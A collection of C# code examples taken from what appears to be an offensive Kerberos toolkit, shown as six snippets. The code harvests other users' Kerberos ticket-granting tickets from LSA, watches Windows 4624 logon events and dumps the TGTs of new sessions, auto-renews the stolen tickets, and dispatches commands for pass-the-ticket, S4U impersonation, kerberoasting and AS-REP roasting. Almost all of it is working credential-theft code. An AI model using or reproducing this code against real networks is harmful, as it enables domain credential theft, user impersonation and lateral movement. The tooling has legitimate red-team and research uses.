Example #1
0
        public void HarvestTicketGrantingTickets()
        {
            if (!Helpers.IsHighIntegrity())
            {
                Console.WriteLine("\r\n[X] You need to have an elevated context to dump other users' Kerberos tickets :( \r\n");
                return;
            }

            // get the current set of TGTs
            while (true)
            {
                // extract out the TGTs (service = krbtgt_ w/ full data, silent enumeration
                List <LSA.SESSION_CRED> sessionCreds   = LSA.EnumerateTickets(true, new LUID(), "krbtgt", this.targetUser, null, true, true);
                List <KRB_CRED>         currentTickets = new List <KRB_CRED>();
                foreach (var sessionCred in sessionCreds)
                {
                    foreach (var ticket in sessionCred.Tickets)
                    {
                        currentTickets.Add(ticket.KrbCred);
                    }
                }

                if (renewTickets)
                {
                    // "harvest" mode - so don't display new tickets as they come in
                    AddTicketsToTicketCache(currentTickets, false);

                    // check if we're at a new display interval
                    if (lastDisplay.AddSeconds(this.displayIntervalSeconds) < DateTime.Now.AddSeconds(1))
                    {
                        this.lastDisplay = DateTime.Now;
                        // refresh/renew everything in the cache and display the working set
                        RefreshTicketCache(true);
                        Console.WriteLine("[*] Sleeping until {0} ({1} seconds) for next display\r\n", DateTime.Now.AddSeconds(displayIntervalSeconds), displayIntervalSeconds);
                    }
                    else
                    {
                        // refresh/renew everything in the cache, but don't display the working set
                        RefreshTicketCache();
                    }
                }
                else
                {
                    // "monitor" mode - display new ticketson harvest
                    AddTicketsToTicketCache(currentTickets, true);
                }

                if (registryBasePath != null)
                {
                    LSA.SaveTicketsToRegistry(harvesterTicketCache, registryBasePath);
                }

                Thread.Sleep(monitorIntervalSeconds * 1000);
            }
        }
Example #2
0
        public static void Monitor4624(int intervalSeconds, string targetUser, string registryBasePath = null)
        {
            // monitors the event log (indefinitely) for 4624 logon events every 'intervalSeconds' and dumps TGTs JUST for the specific
            //  logon IDs (LUIDs) based on the event log. Can optionally only extract for a targeted user.

            if (!Helpers.IsHighIntegrity())
            {
                Console.WriteLine("\r\n[X] You need to have an elevated context to dump other users' Kerberos tickets :( \r\n");
                return;
            }

            // used to keep track of LUIDs we've already dumped
            var seenLUIDs = new Dictionary <ulong, bool>();

            Console.WriteLine("[*] Action: TGT Monitoring");
            Console.WriteLine("[*] Monitoring every {0} seconds for 4624 logon events", intervalSeconds);

            if (!String.IsNullOrEmpty(targetUser))
            {
                Console.WriteLine("[*] Target user : {0}", targetUser);
            }
            Console.WriteLine();


            while (true)
            {
                // check for 4624 logon events in the past "intervalSeconds"
                string         queryString = String.Format("*[System[EventID=4624 and TimeCreated[timediff(@SystemTime) <= {0}]]] and *[EventData[Data[@Name='AuthenticationPackageName']='Kerberos']]", (intervalSeconds + 3) * 1000);
                EventLogQuery  eventsQuery = new EventLogQuery("Security", PathType.LogName, queryString);
                EventLogReader logReader   = new EventLogReader(eventsQuery);

                for (EventRecord eventInstance = logReader.ReadEvent(); eventInstance != null; eventInstance = logReader.ReadEvent())
                {
                    // if there's an event, extract out the logon ID (LUID) for the session
                    string   eventMessage = eventInstance.FormatDescription();
                    DateTime eventTime    = (DateTime)eventInstance.TimeCreated;


                    string targetUserName    = eventInstance.Properties[5].Value.ToString();
                    string targetUserDomain  = eventInstance.Properties[6].Value.ToString();
                    string targetLogonId     = eventInstance.Properties[7].Value.ToString();
                    string srcNetworkAddress = eventInstance.Properties[18].Value.ToString();

                    // ignore SYSTEM logons and other defaults
                    if (Regex.IsMatch(targetUserName,
                                      @"^(SYSTEM|LOCAL SERVICE|NETWORK SERVICE|UMFD-[0-9]+|DWM-[0-9]+|ANONYMOUS LOGON)$",
                                      RegexOptions.IgnoreCase))
                    {
                        continue;
                    }

                    Console.WriteLine("\r\n[+] {0} - 4624 logon event for '{1}\\{2}' from '{3}'", eventTime, targetUserDomain, targetUserName, srcNetworkAddress);
                    // filter if we're targeting a specific user
                    if (targetUser != null && !Regex.IsMatch(targetUserName, Regex.Escape(targetUser), RegexOptions.IgnoreCase))
                    {
                        continue;
                    }

                    try
                    {
                        // check if we've seen this LUID before
                        Interop.LUID luid = new Interop.LUID(targetLogonId);
                        if (!seenLUIDs.ContainsKey((ulong)luid))
                        {
                            seenLUIDs[luid] = true;
                            // if we haven't seen it, extract any TGTs for that particular logon ID
                            LSA.ListKerberosTicketData(luid, "krbtgt", true, registryBasePath);
                        }
                    }
                    catch (Exception e)
                    {
                        Console.WriteLine("[X] Exception: {0}", e.Message);
                    }
                }

                Thread.Sleep(intervalSeconds * 1000);
            }
        }
Example #3
0
        public static void HarvestTGTs(int intervalMinutes, string registryBasePath)
        {
            // First extract all TGTs then monitor the event log (indefinitely) for 4624 logon events
            //  every 'intervalMinutes' and dumps TGTs JUST for the specific logon IDs (LUIDs) based on the event log.
            // On each interval, renew any tickets that are about to expire and refresh the cache.
            // End result: every "intervalMinutes" a set of currently valid TGT .kirbi files are dumped to console

            if (!Helpers.IsHighIntegrity())
            {
                Console.WriteLine("\r\n[X] You need to have an elevated context to dump other users' Kerberos tickets :( \r\n");
                return;
            }

            Console.WriteLine("[*] Action: TGT Harvesting (w/ auto-renewal)");
            Console.WriteLine("\r\n[*] Monitoring every {0} minutes for 4624 logon events\r\n", intervalMinutes);

            // used to keep track of LUIDs we've already dumped
            var seenLUIDs = new Dictionary <ulong, bool>();

            // get the current set of TGTs
            List <KRB_CRED> creds = LSA.ExtractTGTs(new Interop.LUID());

            while (true)
            {
                // check for 4624 logon events in the past "intervalSeconds"
                string         queryString = String.Format("*[System[EventID=4624 and TimeCreated[timediff(@SystemTime) <= {0}]]]", intervalMinutes * 60 * 1000);
                EventLogQuery  eventsQuery = new EventLogQuery("Security", PathType.LogName, queryString);
                EventLogReader logReader   = new EventLogReader(eventsQuery);

                for (EventRecord eventInstance = logReader.ReadEvent(); eventInstance != null; eventInstance = logReader.ReadEvent())
                {
                    // if there's an event, extract out the logon ID (LUID) for the session
                    string   eventMessage = eventInstance.FormatDescription();
                    DateTime eventTime    = (DateTime)eventInstance.TimeCreated;

                    int    startIndex = eventMessage.IndexOf("New Logon:");
                    string message    = eventMessage.Substring(startIndex);

                    // extract out relevant information from the event log message
                    var   acctNameExpression   = new Regex(string.Format(@"\n.*Account Name:\s*(?<name>.+?)\r\n"));
                    Match acctNameMatch        = acctNameExpression.Match(message);
                    var   acctDomainExpression = new Regex(string.Format(@"\n.*Account Domain:\s*(?<domain>.+?)\r\n"));
                    Match acctDomainMatch      = acctDomainExpression.Match(message);

                    if (acctNameMatch.Success)
                    {
                        var   srcNetworkExpression = new Regex(string.Format(@"\n.*Source Network Address:\s*(?<address>.+?)\r\n"));
                        Match srcNetworkMatch      = srcNetworkExpression.Match(message);

                        string logonName         = acctNameMatch.Groups["name"].Value;
                        string accountDomain     = "";
                        string srcNetworkAddress = "";
                        try
                        {
                            accountDomain = acctDomainMatch.Groups["domain"].Value;
                        }
                        catch { }
                        try
                        {
                            srcNetworkAddress = srcNetworkMatch.Groups["address"].Value;
                        }
                        catch { }

                        // ignore SYSTEM logons and other defaults
                        if (!Regex.IsMatch(logonName, @"SYSTEM|LOCAL SERVICE|NETWORK SERVICE|UMFD-[0-9]+|DWM-[0-9]+|ANONYMOUS LOGON", RegexOptions.IgnoreCase))
                        {
                            Console.WriteLine("\r\n[+] {0} - 4624 logon event for '{1}\\{2}' from '{3}'", eventTime, accountDomain, logonName, srcNetworkAddress);

                            var   expression2 = new Regex(string.Format(@"\n.*Logon ID:\s*(?<id>.+?)\r\n"));
                            Match match2      = expression2.Match(message);

                            if (match2.Success)
                            {
                                try
                                {
                                    // check if we've seen this LUID before
                                    Interop.LUID luid = new Interop.LUID(match2.Groups["id"].Value);
                                    if (!seenLUIDs.ContainsKey((ulong)luid))
                                    {
                                        seenLUIDs[luid] = true;
                                        // if we haven't seen it, extract any TGTs for that particular logon ID and add to the cache
                                        List <KRB_CRED> newCreds = LSA.ExtractTGTs(luid);
                                        creds.AddRange(newCreds);
                                    }
                                }
                                catch (Exception e)
                                {
                                    Console.WriteLine("[X] Exception: {0}", e.Message);
                                }
                            }
                        }
                    }
                }

                for (int i = creds.Count - 1; i >= 0; i--)
                {
                    DateTime endTime   = TimeZone.CurrentTimeZone.ToLocalTime(creds[i].enc_part.ticket_info[0].endtime);
                    DateTime renewTill = TimeZone.CurrentTimeZone.ToLocalTime(creds[i].enc_part.ticket_info[0].renew_till);

                    // check if the ticket is going to expire before the next interval checkin
                    if (endTime < DateTime.Now.AddMinutes(intervalMinutes))
                    {
                        // check if the ticket's renewal limit will be valid within the next interval
                        if (renewTill < DateTime.Now.AddMinutes(intervalMinutes))
                        {
                            // renewal limit under checkin interval, so remove the ticket from the cache
                            creds.RemoveAt(i);
                        }
                        else
                        {
                            // renewal limit after checkin interval, so renew the TGT
                            string userName   = creds[i].enc_part.ticket_info[0].pname.name_string[0];
                            string domainName = creds[i].enc_part.ticket_info[0].prealm;

                            Console.WriteLine("[*] Renewing TGT for {0}@{1}", userName, domainName);
                            byte[]   bytes       = Renew.TGT(creds[i], false, "", false);
                            KRB_CRED renewedCred = new KRB_CRED(bytes);
                            creds[i] = renewedCred;
                        }
                    }
                }

                Console.WriteLine("\r\n[*] {0} - Current usable TGTs:\r\n", DateTime.Now);
                LSA.DisplayTGTs(creds);
                if (registryBasePath != null)
                {
                    LSA.SaveTicketsToRegistry(creds, registryBasePath);
                }

                Thread.Sleep(intervalMinutes * 60 * 1000);
            }
        }
Example #4
0
        public static void Monitor4624(int intervalSeconds, string targetUser)
        {
            // monitors the event log (indefinitely) for 4624 logon events every 'intervalSeconds' and dumps TGTs JUST for the specific
            //  logon IDs (LUIDs) based on the event log. Can optionally only extract for a targeted user.

            if (!Helpers.IsHighIntegrity())
            {
                Console.WriteLine("\r\n[X] You need to have an elevated context to dump other users' Kerberos tickets :( \r\n");
                return;
            }

            // used to keep track of LUIDs we've already dumped
            var seenLUIDs = new Dictionary <UInt32, bool>();

            Console.WriteLine("[*] Action: TGT Monitoring");
            Console.WriteLine("[*] Monitoring every {0} seconds for 4624 logon events", intervalSeconds);

            if (!String.IsNullOrEmpty(targetUser))
            {
                Console.WriteLine("[*] Target user : {0}", targetUser);
                targetUser = targetUser.Replace("$", "\\$");
            }
            Console.WriteLine();


            while (true)
            {
                // check for 4624 logon events in the past "intervalSeconds"
                string         queryString = String.Format("*[System[EventID=4624 and TimeCreated[timediff(@SystemTime) <= {0}]]]", intervalSeconds * 1000);
                EventLogQuery  eventsQuery = new EventLogQuery("Security", PathType.LogName, queryString);
                EventLogReader logReader   = new EventLogReader(eventsQuery);

                for (EventRecord eventInstance = logReader.ReadEvent(); eventInstance != null; eventInstance = logReader.ReadEvent())
                {
                    // if there's an event, extract out the logon ID (LUID) for the session
                    string   eventMessage = eventInstance.FormatDescription();
                    DateTime eventTime    = (DateTime)eventInstance.TimeCreated;

                    int    startIndex = eventMessage.IndexOf("New Logon:");
                    string message    = eventMessage.Substring(startIndex);

                    // extract out relevant information from the event log message
                    var   acctNameExpression   = new Regex(string.Format(@"\n.*Account Name:\s*(?<name>.+?)\r\n"));
                    Match acctNameMatch        = acctNameExpression.Match(message);
                    var   acctDomainExpression = new Regex(string.Format(@"\n.*Account Domain:\s*(?<domain>.+?)\r\n"));
                    Match acctDomainMatch      = acctDomainExpression.Match(message);

                    if (acctNameMatch.Success)
                    {
                        var   srcNetworkExpression = new Regex(string.Format(@"\n.*Source Network Address:\s*(?<address>.+?)\r\n"));
                        Match srcNetworkMatch      = srcNetworkExpression.Match(message);

                        string logonName         = acctNameMatch.Groups["name"].Value;
                        string accountDomain     = "";
                        string srcNetworkAddress = "";
                        try
                        {
                            accountDomain = acctDomainMatch.Groups["domain"].Value;
                        }
                        catch { }
                        try
                        {
                            srcNetworkAddress = srcNetworkMatch.Groups["address"].Value;
                        }
                        catch { }

                        // ignore SYSTEM logons and other defaults
                        if (!Regex.IsMatch(logonName, @"SYSTEM|LOCAL SERVICE|NETWORK SERVICE|UMFD-[0-9]+|DWM-[0-9]+|ANONYMOUS LOGON", RegexOptions.IgnoreCase))
                        {
                            Console.WriteLine("\r\n[+] {0} - 4624 logon event for '{1}\\{2}' from '{3}'", eventTime, accountDomain, logonName, srcNetworkAddress);
                            // filter if we're targeting a specific user
                            if (String.IsNullOrEmpty(targetUser) || (Regex.IsMatch(logonName, targetUser, RegexOptions.IgnoreCase)))
                            {
                                var   expression2 = new Regex(string.Format(@"\n.*Logon ID:\s*(?<id>.+?)\r\n"));
                                Match match2      = expression2.Match(message);

                                if (match2.Success)
                                {
                                    try
                                    {
                                        // check if we've seen this LUID before
                                        UInt32 luid = Convert.ToUInt32(match2.Groups["id"].Value, 16);
                                        if (!seenLUIDs.ContainsKey(luid))
                                        {
                                            seenLUIDs[luid] = true;
                                            // if we haven't seen it, extract any TGTs for that particular logon ID
                                            LSA.ListKerberosTicketData(luid, "krbtgt", true);
                                        }
                                    }
                                    catch (Exception e)
                                    {
                                        Console.WriteLine("[X] Exception: {0}", e.Message);
                                    }
                                }
                            }
                        }
                    }
                }
                System.Threading.Thread.Sleep(intervalSeconds * 1000);
            }
        }
Example #5
0
        static void Main(string[] args)
        {
            Logo();

            var arguments = new Dictionary <string, string>();

            foreach (string argument in args)
            {
                int idx = argument.IndexOf(':');
                if (idx > 0)
                {
                    arguments[argument.Substring(0, idx)] = argument.Substring(idx + 1);
                }
                else
                {
                    arguments[argument] = "";
                }
            }

            if (arguments.ContainsKey("asktgt"))
            {
                string             user    = "";
                string             domain  = "";
                string             hash    = "";
                string             dc      = "";
                bool               ptt     = false;
                uint               luid    = 0;
                Interop.KERB_ETYPE encType = Interop.KERB_ETYPE.subkey_keymaterial;

                if (arguments.ContainsKey("/user"))
                {
                    user = arguments["/user"];
                }
                if (arguments.ContainsKey("/domain"))
                {
                    domain = arguments["/domain"];
                }
                if (arguments.ContainsKey("/dc"))
                {
                    dc = arguments["/dc"];
                }
                if (arguments.ContainsKey("/rc4"))
                {
                    hash    = arguments["/rc4"];
                    encType = Interop.KERB_ETYPE.rc4_hmac;
                }
                if (arguments.ContainsKey("/aes256"))
                {
                    hash    = arguments["/aes256"];
                    encType = Interop.KERB_ETYPE.aes256_cts_hmac_sha1;
                }
                if (arguments.ContainsKey("/ptt"))
                {
                    ptt = true;
                }

                if (arguments.ContainsKey("/luid"))
                {
                    try
                    {
                        luid = UInt32.Parse(arguments["/luid"]);
                    }
                    catch
                    {
                        try
                        {
                            luid = Convert.ToUInt32(arguments["/luid"], 16);
                        }
                        catch
                        {
                            Console.WriteLine("[X] Invalid LUID format ({0})\r\n", arguments["/LUID"]);
                            return;
                        }
                    }
                }


                if (arguments.ContainsKey("/createnetonly"))
                {
                    // if we're starting a hidden process to apply the ticket to
                    if (!Helpers.IsHighIntegrity())
                    {
                        Console.WriteLine("[X] You need to be in high integrity to apply a ticket to created logon session");
                        return;
                    }
                    if (arguments.ContainsKey("/show"))
                    {
                        luid = LSA.CreateProcessNetOnly(arguments["/createnetonly"], true);
                    }
                    else
                    {
                        luid = LSA.CreateProcessNetOnly(arguments["/createnetonly"], false);
                    }
                    Console.WriteLine();
                }

                if (String.IsNullOrEmpty(user))
                {
                    Console.WriteLine("\r\n[X] You must supply a user name!\r\n");
                    return;
                }
                if (String.IsNullOrEmpty(domain))
                {
                    domain = System.Net.NetworkInformation.IPGlobalProperties.GetIPGlobalProperties().DomainName;
                }
                if (String.IsNullOrEmpty(hash))
                {
                    Console.WriteLine("\r\n[X] You must supply a /rc4 or /aes256 hash!\r\n");
                    return;
                }

                if (!((encType == Interop.KERB_ETYPE.rc4_hmac) || (encType == Interop.KERB_ETYPE.aes256_cts_hmac_sha1)))
                {
                    Console.WriteLine("\r\n[X] Only /rc4 and /aes256 are supported at this time.\r\n");
                    return;
                }
                else
                {
                    Ask.TGT(user, domain, hash, encType, ptt, dc, luid);
                    return;
                }
            }

            if (arguments.ContainsKey("renew"))
            {
                bool   ptt = false;
                string dc  = "";

                if (arguments.ContainsKey("/ptt"))
                {
                    ptt = true;
                }

                if (arguments.ContainsKey("/dc"))
                {
                    dc = arguments["/dc"];
                }

                if (arguments.ContainsKey("/ticket"))
                {
                    string kirbi64 = arguments["/ticket"];

                    if (Helpers.IsBase64String(kirbi64))
                    {
                        byte[]   kirbiBytes = Convert.FromBase64String(kirbi64);
                        KRB_CRED kirbi      = new KRB_CRED(kirbiBytes);
                        if (arguments.ContainsKey("/autorenew"))
                        {
                            // if we want to auto-renew the TGT up until the renewal limit
                            Renew.TGTAutoRenew(kirbi, dc);
                        }
                        else
                        {
                            // otherwise a single renew operation
                            byte[] blah = Renew.TGT(kirbi, ptt, dc);
                        }
                    }
                    else if (File.Exists(kirbi64))
                    {
                        byte[]   kirbiBytes = File.ReadAllBytes(kirbi64);
                        KRB_CRED kirbi      = new KRB_CRED(kirbiBytes);
                        if (arguments.ContainsKey("/autorenew"))
                        {
                            // if we want to auto-renew the TGT up until the renewal limit
                            Renew.TGTAutoRenew(kirbi, dc);
                        }
                        else
                        {
                            // otherwise a single renew operation
                            byte[] blah = Renew.TGT(kirbi, ptt, dc);
                        }
                    }
                    else
                    {
                        Console.WriteLine("\r\n[X] /ticket:X must either be a .kirbi file or a base64 encoded .kirbi\r\n");
                    }
                    return;
                }
                else
                {
                    Console.WriteLine("\r\n[X] A base64 .kirbi file needs to be supplied for renewal!\r\n");
                    return;
                }
            }

            if (arguments.ContainsKey("s4u"))
            {
                string             targetUser = "";
                string             targetSPN  = "";
                string             altSname   = "";
                string             user       = "";
                string             domain     = "";
                string             hash       = "";
                bool               ptt        = false;
                string             dc         = "";
                Interop.KERB_ETYPE encType    = Interop.KERB_ETYPE.subkey_keymaterial;

                if (arguments.ContainsKey("/user"))
                {
                    user = arguments["/user"];
                }
                if (arguments.ContainsKey("/domain"))
                {
                    domain = arguments["/domain"];
                }
                if (arguments.ContainsKey("/ptt"))
                {
                    ptt = true;
                }
                if (arguments.ContainsKey("/dc"))
                {
                    dc = arguments["/dc"];
                }
                if (arguments.ContainsKey("/rc4"))
                {
                    hash    = arguments["/rc4"];
                    encType = Interop.KERB_ETYPE.rc4_hmac;
                }
                if (arguments.ContainsKey("/aes256"))
                {
                    hash    = arguments["/aes256"];
                    encType = Interop.KERB_ETYPE.aes256_cts_hmac_sha1;
                }
                if (arguments.ContainsKey("/impersonateuser"))
                {
                    targetUser = arguments["/impersonateuser"];
                }

                if (arguments.ContainsKey("/msdsspn"))
                {
                    targetSPN = arguments["/msdsspn"];
                }

                if (arguments.ContainsKey("/altservice"))
                {
                    altSname = arguments["/altservice"];
                }

                if (String.IsNullOrEmpty(targetUser))
                {
                    Console.WriteLine("\r\n[X] You must supply a /impersonateuser to impersonate!\r\n");
                    return;
                }
                if (String.IsNullOrEmpty(targetSPN))
                {
                    Console.WriteLine("\r\n[X] You must supply a /msdsspn !\r\n");
                    return;
                }

                if (arguments.ContainsKey("/ticket"))
                {
                    string kirbi64 = arguments["/ticket"];

                    if (Helpers.IsBase64String(kirbi64))
                    {
                        byte[]   kirbiBytes = Convert.FromBase64String(kirbi64);
                        KRB_CRED kirbi      = new KRB_CRED(kirbiBytes);
                        S4U.Execute(kirbi, targetUser, targetSPN, ptt, dc, altSname);
                    }
                    else if (File.Exists(kirbi64))
                    {
                        byte[]   kirbiBytes = File.ReadAllBytes(kirbi64);
                        KRB_CRED kirbi      = new KRB_CRED(kirbiBytes);
                        S4U.Execute(kirbi, targetUser, targetSPN, ptt, dc, altSname);
                    }
                    else
                    {
                        Console.WriteLine("\r\n[X] /ticket:X must either be a .kirbi file or a base64 encoded .kirbi\r\n");
                    }
                    return;
                }
                else if (arguments.ContainsKey("/user"))
                {
                    // if the user is supplying a user and rc4/aes256 hash to first execute a TGT request

                    user = arguments["/user"];

                    if (String.IsNullOrEmpty(hash))
                    {
                        Console.WriteLine("\r\n[X] You must supply a /rc4 or /aes256 hash!\r\n");
                        return;
                    }

                    S4U.Execute(user, domain, hash, encType, targetUser, targetSPN, ptt, dc, altSname);
                    return;
                }
                else
                {
                    Console.WriteLine("\r\n[X] A base64 .kirbi file needs to be supplied for S4U!");
                    Console.WriteLine("[X] Alternatively, supply a /user and </rc4:X | /aes256:X> hash to first retrieve a TGT.\r\n");
                    return;
                }
            }

            if (arguments.ContainsKey("ptt"))
            {
                uint luid = 0;
                if (arguments.ContainsKey("/luid"))
                {
                    try
                    {
                        luid = UInt32.Parse(arguments["/luid"]);
                    }
                    catch
                    {
                        try
                        {
                            luid = Convert.ToUInt32(arguments["/luid"], 16);
                        }
                        catch
                        {
                            Console.WriteLine("[X] Invalid LUID format ({0})\r\n", arguments["/LUID"]);
                            return;
                        }
                    }
                }

                if (arguments.ContainsKey("/ticket"))
                {
                    string kirbi64 = arguments["/ticket"];

                    if (Helpers.IsBase64String(kirbi64))
                    {
                        byte[] kirbiBytes = Convert.FromBase64String(kirbi64);
                        LSA.ImportTicket(kirbiBytes, luid);
                    }
                    else if (File.Exists(kirbi64))
                    {
                        byte[] kirbiBytes = File.ReadAllBytes(kirbi64);
                        LSA.ImportTicket(kirbiBytes, luid);
                    }
                    else
                    {
                        Console.WriteLine("\r\n[X]/ticket:X must either be a .kirbi file or a base64 encoded .kirbi\r\n");
                    }
                    return;
                }
                else
                {
                    Console.WriteLine("\r\n[X] A base64 .kirbi file needs to be supplied!\r\n");
                    return;
                }
            }

            if (arguments.ContainsKey("purge"))
            {
                uint luid = 0;
                if (arguments.ContainsKey("/luid"))
                {
                    try
                    {
                        luid = UInt32.Parse(arguments["/luid"]);
                    }
                    catch
                    {
                        try
                        {
                            luid = Convert.ToUInt32(arguments["/luid"], 16);
                        }
                        catch
                        {
                            Console.WriteLine("[X] Invalid LUID format ({0})\r\n", arguments["/LUID"]);
                            return;
                        }
                    }
                }

                LSA.Purge(luid);
            }

            else if (arguments.ContainsKey("kerberoast"))
            {
                string spn  = "";
                string user = "";
                string OU   = "";

                if (arguments.ContainsKey("/spn"))
                {
                    spn = arguments["/spn"];
                }
                if (arguments.ContainsKey("/user"))
                {
                    user = arguments["/user"];
                }
                if (arguments.ContainsKey("/ou"))
                {
                    OU = arguments["/ou"];
                }

                if (arguments.ContainsKey("/creduser"))
                {
                    if (!Regex.IsMatch(arguments["/creduser"], ".+\\.+", RegexOptions.IgnoreCase))
                    {
                        Console.WriteLine("\r\n[X] /creduser specification must be in fqdn format (domain.com\\user)\r\n");
                        return;
                    }

                    string[] parts      = arguments["/creduser"].Split('\\');
                    string   domainName = parts[0];
                    string   userName   = parts[1];

                    if (!arguments.ContainsKey("/credpassword"))
                    {
                        Console.WriteLine("\r\n[X] /credpassword is required when specifying /creduser\r\n");
                        return;
                    }

                    string password = arguments["/credpassword"];

                    System.Net.NetworkCredential cred = new System.Net.NetworkCredential(userName, password, domainName);

                    Roast.Kerberoast(spn, user, OU, cred);
                }
                else
                {
                    Roast.Kerberoast(spn, user, OU);
                }
            }

            else if (arguments.ContainsKey("asreproast"))
            {
                string user   = "";
                string domain = "";
                string dc     = "";

                if (arguments.ContainsKey("/user"))
                {
                    user = arguments["/user"];
                }
                if (arguments.ContainsKey("/domain"))
                {
                    domain = arguments["/domain"];
                }
                if (arguments.ContainsKey("/dc"))
                {
                    dc = arguments["/dc"];
                }

                if (String.IsNullOrEmpty(user))
                {
                    Console.WriteLine("\r\n[X] You must supply a user name!\r\n");
                    return;
                }
                if (String.IsNullOrEmpty(domain))
                {
                    domain = System.Net.NetworkInformation.IPGlobalProperties.GetIPGlobalProperties().DomainName;
                }

                if (String.IsNullOrEmpty(dc))
                {
                    Roast.ASRepRoast(user, domain);
                }
                else
                {
                    Roast.ASRepRoast(user, domain, dc);
                }
            }

            else if (arguments.ContainsKey("dump"))
            {
                if (arguments.ContainsKey("/luid"))
                {
                    string service = "";
                    if (arguments.ContainsKey("/service"))
                    {
                        service = arguments["/service"];
                    }
                    UInt32 luid = 0;
                    try
                    {
                        luid = UInt32.Parse(arguments["/luid"]);
                    }
                    catch
                    {
                        try
                        {
                            luid = Convert.ToUInt32(arguments["/luid"], 16);
                        }
                        catch
                        {
                            Console.WriteLine("[X] Invalid LUID format ({0})\r\n", arguments["/LUID"]);
                            return;
                        }
                    }
                    LSA.ListKerberosTicketData(luid, service);
                }
                else if (arguments.ContainsKey("/service"))
                {
                    LSA.ListKerberosTicketData(0, arguments["/service"]);
                }
                else
                {
                    LSA.ListKerberosTicketData();
                }
            }

            else if (arguments.ContainsKey("monitor"))
            {
                string targetUser = "";
                int    interval   = 60;
                if (arguments.ContainsKey("/filteruser"))
                {
                    targetUser = arguments["/filteruser"];
                }
                if (arguments.ContainsKey("/interval"))
                {
                    interval = Int32.Parse(arguments["/interval"]);
                }
                Harvest.Monitor4624(interval, targetUser);
            }

            else if (arguments.ContainsKey("harvest"))
            {
                int intervalMinutes = 60;
                if (arguments.ContainsKey("/interval"))
                {
                    intervalMinutes = Int32.Parse(arguments["/interval"]);
                }
                Harvest.HarvestTGTs(intervalMinutes);
            }

            else if (arguments.ContainsKey("describe"))
            {
                if (arguments.ContainsKey("/ticket"))
                {
                    string kirbi64 = arguments["/ticket"];

                    if (Helpers.IsBase64String(kirbi64))
                    {
                        byte[]   kirbiBytes = Convert.FromBase64String(kirbi64);
                        KRB_CRED kirbi      = new KRB_CRED(kirbiBytes);
                        LSA.DisplayTicket(kirbi);
                    }
                    else if (File.Exists(kirbi64))
                    {
                        byte[]   kirbiBytes = File.ReadAllBytes(kirbi64);
                        KRB_CRED kirbi      = new KRB_CRED(kirbiBytes);
                        LSA.DisplayTicket(kirbi);
                    }
                    else
                    {
                        Console.WriteLine("\r\n[X] /ticket:X must either be a .kirbi file or a base64 encoded .kirbi\r\n");
                    }
                    return;
                }
                else
                {
                    Console.WriteLine("\r\n[X] A base64 .kirbi /ticket file needs to be supplied!\r\n");
                    return;
                }
            }

            else if (arguments.ContainsKey("createnetonly"))
            {
                if (arguments.ContainsKey("/program"))
                {
                    if (arguments.ContainsKey("/show"))
                    {
                        LSA.CreateProcessNetOnly(arguments["/program"], true);
                    }
                    else
                    {
                        LSA.CreateProcessNetOnly(arguments["/program"]);
                    }
                }

                else
                {
                    Console.WriteLine("\r\n[X] A /program needs to be supplied!\r\n");
                }
            }

            else
            {
                Usage();
            }
        }
Example #6
0
        public void HarvestTicketGrantingTickets()
        {
            if (!Helpers.IsHighIntegrity())
            {
                Console.WriteLine("\r\n[X] You need to have an elevated context to dump other users' Kerberos tickets :( \r\n");
                return;
            }

            // get the current set of TGTs
            while (true)
            {
                // extract out the TGTs (service = krbtgt_ w/ full data, silent enumeration
                List <LSA.SESSION_CRED> sessionCreds   = LSA.EnumerateTickets(true, new LUID(), "krbtgt", this.targetUser, null, true, true);
                List <KRB_CRED>         currentTickets = new List <KRB_CRED>();
                foreach (var sessionCred in sessionCreds)
                {
                    foreach (var ticket in sessionCred.Tickets)
                    {
                        currentTickets.Add(ticket.KrbCred);
                    }
                }

                if (renewTickets)
                {
                    // "harvest" mode - so don't display new tickets as they come in
                    AddTicketsToTicketCache(currentTickets, false);

                    // check if we're at a new display interval
                    if (lastDisplay.AddSeconds(this.displayIntervalSeconds) < DateTime.Now.AddSeconds(1))
                    {
                        this.lastDisplay = DateTime.Now;
                        // refresh/renew everything in the cache and display the working set
                        RefreshTicketCache(true);
                        Console.WriteLine("[*] Sleeping until {0} ({1} seconds) for next display\r\n", DateTime.Now.AddSeconds(displayIntervalSeconds), displayIntervalSeconds);
                    }
                    else
                    {
                        // refresh/renew everything in the cache, but don't display the working set
                        RefreshTicketCache();
                    }
                }
                else
                {
                    // "monitor" mode - display new ticketson harvest
                    AddTicketsToTicketCache(currentTickets, true);
                }

                if (registryBasePath != null)
                {
                    LSA.SaveTicketsToRegistry(harvesterTicketCache, registryBasePath);
                }

                if (runFor > 0)
                {
                    // compares execution start time + time entered to run the harvest for against current time to determine if we should exit
                    if (collectionStart.AddSeconds(this.runFor) < DateTime.Now)
                    {
                        Console.WriteLine("[*] Completed running for {0} seconds, exiting\r\n", runFor);
                        System.Environment.Exit(0);
                    }
                }

                // If a runFor time is set and the monitoring interval is longer than the time remaining on the run,
                // the sleep interval will be adjusted down to however much time left in the run there is.
                if (runFor > 0 && collectionStart.AddSeconds(this.runFor) < DateTime.Now.AddSeconds(monitorIntervalSeconds))
                {
                    TimeSpan t = collectionStart.AddSeconds(this.runFor + 1) - DateTime.Now;
                    Thread.Sleep((int)t.TotalSeconds * 1000);
                }
                // else we'll do a normal monitor interval sleep
                else
                {
                    Thread.Sleep(monitorIntervalSeconds * 1000);
                }
            }
        }